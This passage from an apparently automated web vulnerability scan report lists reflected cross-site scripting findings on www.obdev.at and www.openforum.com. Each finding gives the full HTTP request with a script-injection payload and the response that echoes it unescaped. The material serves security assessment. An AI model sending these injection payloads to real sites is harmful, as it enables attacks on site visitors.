GET /products/littlesnitch/download.html165b9'><script>alert(string.fromcharcode(88,83,83))</script>aa4542fda85?fa328<script>alert(1)</script>66fb205d706=1 HTTP/1.1
Host: www.obdev.at
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Sun, 06 Feb 2011 16:09:43 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.2
Status: 404 Not Found
Last-Modified: Sun, 06 Feb 2011 16:09:43 GMT
Vary: Accept-Encoding
Content-Length: 4057
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Objective Development</title>

<link rel="stylesheet" hr
...[SNIP]...
</script>aa4542fda85?fa328<script>alert(1)</script>66fb205d706=1'>
...[SNIP]...

4.321. http://www.obdev.at/products/littlesnitch/index.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.obdev.at
Path:	/products/littlesnitch/index.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 17445'><script>alert(1)</script>0881d7f8c81 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /products17445'><script>alert(1)</script>0881d7f8c81/littlesnitch/index.html HTTP/1.1
Host: www.obdev.at
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Sun, 06 Feb 2011 16:09:45 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.2
Status: 404 Not Found
Last-Modified: Sun, 06 Feb 2011 16:09:45 GMT
Vary: Accept-Encoding
Content-Length: 3913
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Objective Development</title>

<link rel="stylesheet" hr
...[SNIP]...
<a href='/products17445'><script>alert(1)</script>0881d7f8c81/littlesnitch/index-de.html'>
...[SNIP]...

4.322. http://www.obdev.at/products/littlesnitch/index.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.obdev.at
Path:	/products/littlesnitch/index.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 71a73'><script>alert(1)</script>5d20f71e910 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /products/littlesnitch71a73'><script>alert(1)</script>5d20f71e910/index.html HTTP/1.1
Host: www.obdev.at
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Sun, 06 Feb 2011 16:09:46 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.2
Status: 404 Not Found
Last-Modified: Sun, 06 Feb 2011 16:09:46 GMT
Vary: Accept-Encoding
Content-Length: 3913
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Objective Development</title>

<link rel="stylesheet" hr
...[SNIP]...
<a href='/products/littlesnitch71a73'><script>alert(1)</script>5d20f71e910/index-de.html'>
...[SNIP]...

4.323. http://www.obdev.at/products/littlesnitch/index.html [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.obdev.at
Path:	/products/littlesnitch/index.html

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 9134b'><script>alert(1)</script>94a64c89046 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /products/littlesnitch/index.html9134b'><script>alert(1)</script>94a64c89046 HTTP/1.1
Host: www.obdev.at
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Sun, 06 Feb 2011 16:09:47 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.2
Status: 404 Not Found
Last-Modified: Sun, 06 Feb 2011 16:09:47 GMT
Vary: Accept-Encoding
Content-Length: 3907
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Objective Development</title>

<link rel="stylesheet" hr
...[SNIP]...
<a href='/products/littlesnitch/index.html9134b'><script>alert(1)</script>94a64c89046'>
...[SNIP]...

4.324. http://www.obdev.at/products/littlesnitch/index.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.obdev.at
Path:	/products/littlesnitch/index.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 6aa85'><script>alert(1)</script>881a3da76c9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /products/littlesnitch/index.html?6aa85'><script>alert(1)</script>881a3da76c9=1 HTTP/1.1
Host: www.obdev.at
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:09:45 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.2
Last-Modified: Sun, 06 Feb 2011 16:09:45 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 10370

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Little Snitch</title>

<link rel="stylesheet" href="/res
...[SNIP]...
<a href='/products/littlesnitch/index-de.html?6aa85'><script>alert(1)</script>881a3da76c9=1'>
...[SNIP]...

4.325. http://www.obdev.at/products/pebbles/index.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.obdev.at
Path:	/products/pebbles/index.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 7a066'><script>alert(1)</script>128ea21a6f2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /products7a066'><script>alert(1)</script>128ea21a6f2/pebbles/index.html HTTP/1.1
Host: www.obdev.at
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Sun, 06 Feb 2011 16:09:45 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.2
Status: 404 Not Found
Last-Modified: Sun, 06 Feb 2011 16:09:45 GMT
Vary: Accept-Encoding
Content-Length: 3903
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Objective Development</title>

<link rel="stylesheet" hr
...[SNIP]...
<a href='/products7a066'><script>alert(1)</script>128ea21a6f2/pebbles/index-de.html'>
...[SNIP]...

4.326. http://www.obdev.at/products/pebbles/index.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.obdev.at
Path:	/products/pebbles/index.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 692ca'><script>alert(1)</script>ac693856ed was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /products/pebbles692ca'><script>alert(1)</script>ac693856ed/index.html HTTP/1.1
Host: www.obdev.at
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Sun, 06 Feb 2011 16:09:45 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.2
Status: 404 Not Found
Last-Modified: Sun, 06 Feb 2011 16:09:45 GMT
Vary: Accept-Encoding
Content-Length: 3901
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Objective Development</title>

<link rel="stylesheet" hr
...[SNIP]...
<a href='/products/pebbles692ca'><script>alert(1)</script>ac693856ed/index-de.html'>
...[SNIP]...

4.327. http://www.obdev.at/products/pebbles/index.html [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.obdev.at
Path:	/products/pebbles/index.html

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 715b6'><script>alert(1)</script>8614b924e9e was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /products/pebbles/index.html715b6'><script>alert(1)</script>8614b924e9e HTTP/1.1
Host: www.obdev.at
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Sun, 06 Feb 2011 16:09:46 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.2
Status: 404 Not Found
Last-Modified: Sun, 06 Feb 2011 16:09:46 GMT
Vary: Accept-Encoding
Content-Length: 3897
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Objective Development</title>

<link rel="stylesheet" hr
...[SNIP]...
<a href='/products/pebbles/index.html715b6'><script>alert(1)</script>8614b924e9e'>
...[SNIP]...

4.328. http://www.obdev.at/products/pebbles/index.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.obdev.at
Path:	/products/pebbles/index.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 23a09'><script>alert(1)</script>73bda44d8f5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /products/pebbles/index.html?23a09'><script>alert(1)</script>73bda44d8f5=1 HTTP/1.1
Host: www.obdev.at
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:09:44 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.2
Last-Modified: Sun, 06 Feb 2011 16:09:44 GMT
Vary: Accept-Encoding
Content-Length: 6722
Connection: close
Content-Type: text/html
X-Pad: avoid browser bug

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Pebbles - The Quick In Between Color Matching Game for t
...[SNIP]...
<a href='/products/pebbles/index-de.html?23a09'><script>alert(1)</script>73bda44d8f5=1'>
...[SNIP]...

4.329. http://www.obdev.at/products/sharity/index.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.obdev.at
Path:	/products/sharity/index.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 57505'><script>alert(1)</script>04483c897d4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /products57505'><script>alert(1)</script>04483c897d4/sharity/index.html HTTP/1.1
Host: www.obdev.at
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Sun, 06 Feb 2011 16:09:45 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.2
Status: 404 Not Found
Last-Modified: Sun, 06 Feb 2011 16:09:45 GMT
Vary: Accept-Encoding
Content-Length: 3903
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Objective Development</title>

<link rel="stylesheet" hr
...[SNIP]...
<a href='/products57505'><script>alert(1)</script>04483c897d4/sharity/index-de.html'>
...[SNIP]...

4.330. http://www.obdev.at/products/sharity/index.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.obdev.at
Path:	/products/sharity/index.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 14624'><script>alert(1)</script>44f6ac9b7e9 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /products/sharity14624'><script>alert(1)</script>44f6ac9b7e9/index.html HTTP/1.1
Host: www.obdev.at
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Sun, 06 Feb 2011 16:09:46 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.2
Status: 404 Not Found
Last-Modified: Sun, 06 Feb 2011 16:09:46 GMT
Vary: Accept-Encoding
Content-Length: 3903
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Objective Development</title>

<link rel="stylesheet" hr
...[SNIP]...
<a href='/products/sharity14624'><script>alert(1)</script>44f6ac9b7e9/index-de.html'>
...[SNIP]...

4.331. http://www.obdev.at/products/sharity/index.html [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.obdev.at
Path:	/products/sharity/index.html

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 9094d'><script>alert(1)</script>36fbf9ed792 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /products/sharity/index.html9094d'><script>alert(1)</script>36fbf9ed792 HTTP/1.1
Host: www.obdev.at
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Sun, 06 Feb 2011 16:09:46 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.2
Status: 404 Not Found
Last-Modified: Sun, 06 Feb 2011 16:09:46 GMT
Vary: Accept-Encoding
Content-Length: 3897
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Objective Development</title>

<link rel="stylesheet" hr
...[SNIP]...
<a href='/products/sharity/index.html9094d'><script>alert(1)</script>36fbf9ed792'>
...[SNIP]...

4.332. http://www.obdev.at/products/sharity/index.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.obdev.at
Path:	/products/sharity/index.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 97b46'><script>alert(1)</script>10085725898 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /products/sharity/index.html?97b46'><script>alert(1)</script>10085725898=1 HTTP/1.1
Host: www.obdev.at
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:09:45 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.2
Last-Modified: Sun, 06 Feb 2011 16:09:45 GMT
Vary: Accept-Encoding
Content-Length: 7581
Connection: close
Content-Type: text/html
X-Pad: avoid browser bug

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Sharity 3 - SMBFS for Unix</title>

<link rel="styleshee
...[SNIP]...
<a href='/products/sharity/index-de.html?97b46'><script>alert(1)</script>10085725898=1'>
...[SNIP]...

4.333. http://www.obdev.at/products/webyep/index.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.obdev.at
Path:	/products/webyep/index.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 2519c'><script>alert(1)</script>6aa8a9631c1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /products2519c'><script>alert(1)</script>6aa8a9631c1/webyep/index.html HTTP/1.1
Host: www.obdev.at
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Sun, 06 Feb 2011 16:12:42 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.2
Status: 404 Not Found
Last-Modified: Sun, 06 Feb 2011 16:12:42 GMT
Vary: Accept-Encoding
Content-Length: 3901
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Objective Development</title>

<link rel="stylesheet" hr
...[SNIP]...
<a href='/products2519c'><script>alert(1)</script>6aa8a9631c1/webyep/index-de.html'>
...[SNIP]...

4.334. http://www.obdev.at/products/webyep/index.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.obdev.at
Path:	/products/webyep/index.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 5f14f'><script>alert(1)</script>0ab5160bb6b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /products/webyep5f14f'><script>alert(1)</script>0ab5160bb6b/index.html HTTP/1.1
Host: www.obdev.at
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Sun, 06 Feb 2011 16:12:43 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.2
Status: 404 Not Found
Last-Modified: Sun, 06 Feb 2011 16:12:43 GMT
Vary: Accept-Encoding
Content-Length: 3901
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Objective Development</title>

<link rel="stylesheet" hr
...[SNIP]...
<a href='/products/webyep5f14f'><script>alert(1)</script>0ab5160bb6b/index-de.html'>
...[SNIP]...

4.335. http://www.obdev.at/products/webyep/index.html [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.obdev.at
Path:	/products/webyep/index.html

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 2e8c1'><script>alert(1)</script>badd922506b was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /products/webyep/index.html2e8c1'><script>alert(1)</script>badd922506b HTTP/1.1
Host: www.obdev.at
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Sun, 06 Feb 2011 16:12:43 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.2
Status: 404 Not Found
Last-Modified: Sun, 06 Feb 2011 16:12:43 GMT
Vary: Accept-Encoding
Content-Length: 3895
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Objective Development</title>

<link rel="stylesheet" hr
...[SNIP]...
<a href='/products/webyep/index.html2e8c1'><script>alert(1)</script>badd922506b'>
...[SNIP]...

4.336. http://www.obdev.at/products/webyep/index.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.obdev.at
Path:	/products/webyep/index.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 5a771'><script>alert(1)</script>f5d360894ff was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /products/webyep/index.html?5a771'><script>alert(1)</script>f5d360894ff=1 HTTP/1.1
Host: www.obdev.at
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:12:20 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.2
Last-Modified: Sun, 06 Feb 2011 16:12:20 GMT
Vary: Accept-Encoding
Content-Length: 7890
Connection: close
Content-Type: text/html
X-Pad: avoid browser bug

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>WebYep - The Shiny Tiny WebCMS</title>

<link rel="style
...[SNIP]...
<a href='/products/webyep/index-de.html?5a771'><script>alert(1)</script>f5d360894ff=1'>
...[SNIP]...

4.337. http://www.obdev.at/shop/index.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.obdev.at
Path:	/shop/index.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload e04dd'><script>alert(1)</script>ea6efcccaa5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /shope04dd'><script>alert(1)</script>ea6efcccaa5/index.html HTTP/1.1
Host: www.obdev.at
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Sun, 06 Feb 2011 16:13:01 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.2
Status: 404 Not Found
Last-Modified: Sun, 06 Feb 2011 16:13:01 GMT
Vary: Accept-Encoding
Content-Length: 3879
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Objective Development</title>

<link rel="stylesheet" hr
...[SNIP]...
<a href='/shope04dd'><script>alert(1)</script>ea6efcccaa5/index-de.html'>
...[SNIP]...

4.338. http://www.obdev.at/shop/index.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.obdev.at
Path:	/shop/index.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 90ee7'><script>alert(1)</script>bb025998b09 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /shop/index.html90ee7'><script>alert(1)</script>bb025998b09 HTTP/1.1
Host: www.obdev.at
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Sun, 06 Feb 2011 16:13:03 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.2
Status: 404 Not Found
Last-Modified: Sun, 06 Feb 2011 16:13:03 GMT
Vary: Accept-Encoding
Content-Length: 3873
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Objective Development</title>

<link rel="stylesheet" hr
...[SNIP]...
<a href='/shop/index.html90ee7'><script>alert(1)</script>bb025998b09'>
...[SNIP]...

4.339. http://www.obdev.at/shop/index.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.obdev.at
Path:	/shop/index.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 8fb4a'><script>alert(1)</script>d64454b2502 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /shop/index.html?8fb4a'><script>alert(1)</script>d64454b2502=1 HTTP/1.1
Host: www.obdev.at
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:12:42 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.2
Last-Modified: Sun, 06 Feb 2011 16:12:42 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 20921

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Objective Development - Shop</title>

<link rel="stylesh
...[SNIP]...
<a href='/shop/index-de.html?8fb4a'><script>alert(1)</script>d64454b2502=1'>
...[SNIP]...

4.340. http://www.openforum.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.openforum.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7979f'-alert(1)-'12735a7cb12 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /?7979f'-alert(1)-'12735a7cb12=1 HTTP/1.1
Host: www.openforum.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Content-Type: text/html; charset=utf-8
Expires: Sat, 05 Feb 2011 22:07:19 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sat, 05 Feb 2011 22:07:19 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: plv=lv=af6b38e2-af41-4de2-b212-3468d374f14c; path=/
Set-Cookie: BIGipServerAmex=2819336384.20480.0000; path=/
Content-Length: 102157

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphpro
...[SNIP]...

       AX.login_link = 'https://www99.americanexpress.com/myca/usermgt/us/action?request_type=auth_nucleusLogin&Face=en_US&lgnsrc=nucleus&PROSPECT=Y&TPREDIRECT_URL=https%3a%2f%2fwww.openforum.com%2f%3f7979f'-alert(1)-'12735a7cb12%253d1';
       AX.logout_dest_url = 'https://www.openforum.com/?7979f'-alert(1)-'12735a7cb12%3d1';
   /*]]>
...[SNIP]...

4.341. https://www.openforum.com/ [cid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://www.openforum.com
Path:	/

Issue detail

